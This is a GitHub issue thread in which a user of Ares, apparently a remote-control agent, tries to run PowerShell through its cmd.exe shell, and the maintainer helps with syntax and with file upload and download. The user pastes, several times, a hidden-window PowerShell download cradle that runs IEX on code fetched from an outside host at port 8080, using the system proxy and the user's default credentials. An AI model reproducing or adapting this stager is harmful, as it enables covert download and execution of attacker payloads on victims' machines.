Closed vasco2016 closed 8 years ago
Hi @vasco2016, As of today the shell is a non-interactive cmd.exe shell. It means you can run any powershell commands out of the box by prefixing your commands with powershell /c powershell command For an interactive shell, some coding has to be done.
hmm ... its dont work when i trye this for exemple. Do you have any ide how to make it works ?
powershell /c -nop -w hidden -c $Q=new-object net.webclient;$Q.proxy=[Net.WebRequest]::GetSystemWebProxy();$Q.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $Q.downloadstring('http://x.x.x.x:8080/');
original string is like this
powershell.exe -nop -w hidden -c $Q=new-object net.webclient;$Q.proxy=[Net.WebRequest]::GetSystemWebProxy();$Q.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $Q.downloadstring('http://x.x.x.x:8080/');
/c (or -c) should be followed by your powershell code, all options (-nop, -w hidden) should be set before this.
I tried on my machine, using powershell /c works as you can see
Can you run a command at all ? Maybe the shell hangs because you launched an interactive command (eg powershell.exe without /c) and now the process is waiting indefinitely.
sorry dont work for me i can run dir, cd, whoami all standard commands but it dont work for me with powershell :(
When i execute powershell.exe -w hidden -nop -c echo hallo i dont get any respons when i try do this on my vm i get disconnected.
now i get
Missing ')' in method call.
'apos' is not recognized as an internal or external command, operable program or batch file. 'apos' is not recognized as an internal or external command, operable program or batch file.
This strin works if i put it in cmd or powershell but when i execute it i get this error.
powershell.exe -w hidden -nop -c $I=new-object net.webclient;$I.proxy=[Net.WebRequest]::GetSystemWebProxy();$I.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $I.downloadstring('http://x.x.x.x:8080/');
get this error
Missing ')' in method call.
'apos' is not recognized as an internal or external command, operable program or batch file. 'apos' is not recognized as an internal or external command, operable program or batch file.
Do you have any ide what wrong on the way ?
ok i can make workaround how do i upload ?
When i type upload nothing happand .
upload /home/my.exe
You have to be in the same folder, try cd and then upload my.exe. The upload command uploads a file from host to the server, for dropping files on the host use download.
Is it possible to execute powershell command thru Ares cmd ?